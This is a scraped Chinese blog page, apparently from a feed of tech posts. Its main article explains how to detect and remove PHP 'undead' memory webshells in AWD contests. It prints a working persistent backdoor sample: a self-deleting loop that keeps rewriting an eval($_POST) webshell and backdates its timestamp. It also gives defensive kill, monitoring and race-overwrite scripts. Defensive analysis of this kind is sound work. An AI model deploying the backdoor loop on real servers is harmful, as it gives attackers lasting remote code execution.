PHP 不死马实战查杀:3种条件竞争脚本与进程定位方法对比
📅 2026/7/8 15:19:19
👁️ 次浏览
PHP 不死马实战查杀3种条件竞争脚本与进程定位方法对比在AWD竞赛或真实攻防演练中PHP不死马内存马因其隐蔽性和持久性成为攻击者维持权限的利器。这类恶意脚本会常驻进程内存并持续生成WebShell文件常规删除操作往往无效。本文将系统对比三种主流查杀技术并提供可直接部署的自动化脚本。1. 不死马运行机制深度解析典型不死马脚本结构如下?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file .hidden.php; $code ?php eval($_POST[cmd]);?; while(1){ file_put_contents($file,$code); system(touch -m -d 2020-01-01 .hidden.php); usleep(5000); } ?关键特征分析ignore_user_abort(true)确保脚本在连接断开后继续执行set_time_limit(0)取消执行时间限制unlink(__FILE__)删除自身文件增加隐蔽性循环体内通过file_put_contents持续写入WebShellsystem(touch...)修改文件时间戳规避时间检索usleep(5000)控制写入频率避免资源耗尽进程级驻留使得单纯删除文件无效必须同时终止对应PHP进程。下表对比常见检测方法的有效性检测方法有效性局限性find -mtime低时间戳被伪造ls -a中需知道隐藏文件名ps aux --sort-%cpu高需人工分析异常进程lsof D /var/www高需要root权限2. 进程定位与查杀实战方案2.1 智能进程定位脚本以下Shell脚本可自动识别异常PHP进程#!/bin/bash # 检测CPU占用超过1%且运行超过5分钟的PHP进程 ABNORMAL_PIDS$(ps -eo pid,user,%cpu,etime,cmd --sort-%cpu | awk $31 $5~php $45:00 {print $1}) if [[ -z $ABNORMAL_PIDS ]]; then echo [] 未检测到可疑进程 else echo [!] 发现异常进程: ps -fp $ABNORMAL_PIDS read -p 是否终止这些进程? (y/n) -n 1 -r if [[ $REPLY ~ ^[Yy]$ ]]; then kill -9 $ABNORMAL_PIDS echo [] 已终止恶意进程 fi fi使用技巧保存为check_php.sh并添加执行权限通过crontab设置每分钟自动执行* * * * * /path/to/check_php.sh /var/log/php_monitor.log2.2 文件监控联动查杀结合inotify-tools实现实时文件监控#!/bin/bash inotifywait -m -r -e create,modify --format %w%f /var/www | while read FILE; do if [[ $FILE ~ \.php$ ]] [[ $(stat -c %Y $FILE) -lt $(date -d 1 day ago %s) ]]; then echo [!] 检测到可疑文件: $FILE # 关联进程终止 PID$(lsof -t $FILE) [[ -n $PID ]] kill -9 $PID # 安全替换文件内容 echo ?php // Removed by security system ? $FILE chattr i $FILE fi done注意需提前安装inotify-tools包监控目录需根据实际环境调整3. 条件竞争查杀技术对比3.1 基础竞争覆盖法通过更高频率写入无害内容覆盖恶意文件?php ignore_user_abort(true); set_time_limit(0); $file .hidden.php; $clean ?php /* Cleaned */ ?; while(1){ file_put_contents($file, $clean); usleep(1000); // 必须小于原脚本的usleep值 } ?优劣分析优点实现简单无需root权限缺点成功率依赖时间参数设置3.2 双重锁定机制改进版竞争脚本增加文件锁定?php $lock fopen(/tmp/antimalware.lock, w); if (flock($lock, LOCK_EX)) { ignore_user_abort(true); set_time_limit(0); $target .hidden.php; while(1) { file_put_contents($target, ?php exit(); ?); chmod($target, 0444); // 设置为只读 usleep(800); } flock($lock, LOCK_UN); } fclose($lock); ?3.3 内存级清除方案通过PHP扩展直接操作进程内存需root#include php.h // 示例扫描PHP进程内存中的恶意代码片段 void scan_process_memory(pid_t pid) { char maps_path[256], mem_path[256]; sprintf(maps_path, /proc/%d/maps, pid); sprintf(mem_path, /proc/%d/mem, pid); FILE *maps fopen(maps_path, r); if (maps) { char line[256]; while (fgets(line, sizeof(line), maps)) { if (strstr(line, rw)) { // 可读写内存段 unsigned long start, end; sscanf(line, %lx-%lx, start, end); // 实际扫描逻辑需进一步实现 } } fclose(maps); } }部署流程编译为.so扩展在php.ini中加载扩展定期执行内存扫描4. 防御体系构建建议分层防护策略预防层禁用危险函数disable_functions exec,passthru,shell_exec,system设置open_basedir限制文件操作范围定期更新PHP版本检测层# 监控可疑文件创建 auditctl -w /var/www/html/ -p wa -k web_content # 分析审计日志 ausearch -k web_content | aureport -f -i响应层建立自动化杀进程机制部署文件完整性监控如AIDE设置Web目录不可执行find /var/www -type d -exec chmod -x {} \;变种不死马应对技巧对于-a.php类特殊文件名使用./-a.php或-- -a.php操作针对动态密码变种可通过进程内存分析获取密钥对抗fork炸弹型马需限制进程数ulimit -u 50 # 限制单用户进程数在实际攻防对抗中建议组合使用进程监控、文件监控和条件竞争脚本形成立体防御体系。定期演练不同场景下的应急响应流程确保在比赛或真实攻击中能快速定位和清除不死马。
Simple Runtime Window Editor:打破Windows窗口限制的终极工具 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE
你是否曾经想过,为什么Windows的窗口系统总是那么死板?为什么游…
📅 2026/7/8 15:19:19
openEuler用户委员会贡献指南:从Fork到PR的快速上手教程 【免费下载链接】user-committee Its git repository for User Committee 项目地址: https://gitcode.com/openeuler/user-committee
前往项目官网免费下载:https://ar.openeuler.org/ar/ …
📅 2026/7/8 15:19:19
1. 工业环境中的信号采集挑战与解决方案选型在电机控制、电力监测等工业场景中,电磁干扰(EMI)和射频干扰(RFI)会导致信号采集出现严重失真。我曾参与过一个轧钢产线的电机状态监测项目,当大型变频器启动时&…
📅 2026/7/8 15:17:18
价值函数与Q函数:从贝尔曼方程到DQN实战的5个关键推导步骤 强化学习的核心在于让智能体学会在未知环境中通过试错来最大化长期收益。这一过程依赖于两个关键数学工具—— 价值函数(V函数) 和 动作价值函数(Q函数) ,它们像导航仪一样指引智能体做出最…
📅 2026/7/8 17:27:00
4个步骤彻底掌控惠普OMEN游戏本性能:OmenSuperHub完整解决方案 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub
…
📅 2026/7/8 17:27:00
1. 项目概述:当Lua脚本遇上UE4的控制台 如果你在折腾UE4SS,想用Lua脚本给游戏加点料,比如动态修改某个NPC的属性,或者一键刷出特定道具,那你大概率会用到控制台命令。在虚幻引擎里,控制台命令是个万能钥匙&…
📅 2026/7/8 17:27:00
1. 项目概述:UE4SS与main.dll加载失败的核心症结如果你正在折腾UE4SS(Unreal Engine 4 Scripting System)来为你的游戏添加模组或进行调试,那么“main.dll加载失败”这个错误绝对是你绕不开的一道坎。这玩意儿就像你兴冲冲地组装一…
📅 2026/7/8 17:27:00
1. 项目概述:地图黑边问题的根源与挑战 在Cocos Creator里做2D游戏,尤其是涉及无缝大地图、卷轴滚动或者平铺地图时,开发者十有八九都踩过“地图黑边”这个坑。具体表现就是,当你的地图精灵(Sprite)在屏幕上…
📅 2026/7/8 17:27:00
本文还有配套的精品资源,点击获取
简介:用C从零搭建三维CAD建模核心功能,基于半边数据结构(Half-Edge)精确维护几何拓扑关系。内置5种标准欧拉操作(MakeVertex、KillFace等),确保…
📅 2026/7/8 17:24:53
Docker 彻底卸载指南:CentOS/Ubuntu 双系统 5 步清理残留文件当 Docker 环境出现版本冲突、安装失败或需要迁移时,常规的卸载命令往往无法彻底清理系统。残留的配置文件、依赖项和缓存文件可能导致新安装的 Docker 出现各种诡异问题。本文将提供一套完整…
📅 2026/7/8 0:00:10
SQL 数据分析性能优化实战:窗口函数 vs 子查询 vs 临时表 在数据分析工作中,SQL查询性能往往是决定工作效率的关键因素。面对复杂的业务场景,如何选择最优的查询方案?本文将深入对比窗口函数、子查询和临时表三种技术方案…
📅 2026/7/8 0:00:10
日期:2026-07-07> 本期聚焦近一日(2026-07-06 至 07-07)出台的金融与行业政策,按"背景—核心—影响—受益/风险"四维度解读。政策内容依据原始发布信息整理,解读仅供参考,不构成投资建议。一、…
📅 2026/7/8 0:00:10
1. 项目背景与核心需求 在嵌入式系统开发中,快速精确的数据检索是一个常见但极具挑战性的需求。特别是在工业控制、医疗设备和物联网终端等场景下,系统往往需要在毫秒级时间内完成关键参数的读取和写入操作。传统基于Flash存储的方案存在擦写次数有限、操…
📅 2026/7/8 14:10:54
1. 工业电流环信号传输的基础认知在工业自动化领域,4-20mA电流环传输技术已经持续服役超过半个世纪。这种看似简单的信号传输方式之所以能经久不衰,核心在于其独特的抗干扰能力——电流信号在长距离传输时几乎不受线路电阻和电压波动的影响。我曾在化工厂…
📅 2026/7/8 14:10:54
最近在项目里尝试用 YOLO 做目标检测,从环境搭建到模型训练,再到推理部署,整个过程踩了不少坑。网上的资料虽然多,但要么版本老旧,要么步骤零散不成体系,对于刚入门的新手来说,很容易卡在某个环…
📅 2026/7/8 11:28:59
目录
第一步:选对模板,省心一半
第二步:打开扫码点餐功能
开启功能按钮
桌台管理与桌码生成
第三步:个性化设计,打造品牌感
调整点餐页面
设置点餐规则 你还在让顾客站着排队点餐吗?2025年ÿ…
📅 2026/7/8 14:10:54
在业务中快速构建一个能理解私有文档、准确回答专业问题的智能助手,是很多开发团队面临的共同挑战。传统方案往往需要从零开始搭建复杂的 RAG(检索增强生成)系统,涉及文档解析、向量化、检索、大模型调用等多个环节,整…
📅 2026/7/8 14:10:54
FAE放射组学分析工具:医学影像特征探索的完整解决方案 【免费下载链接】FAE FeAture Explorer 项目地址: https://gitcode.com/gh_mirrors/fae/FAE
你是否曾经面对海量医学影像数据感到无从下手?想要从CT、MRI等影像中提取有价值的定量特征&#…
📅 2026/7/8 14:10:54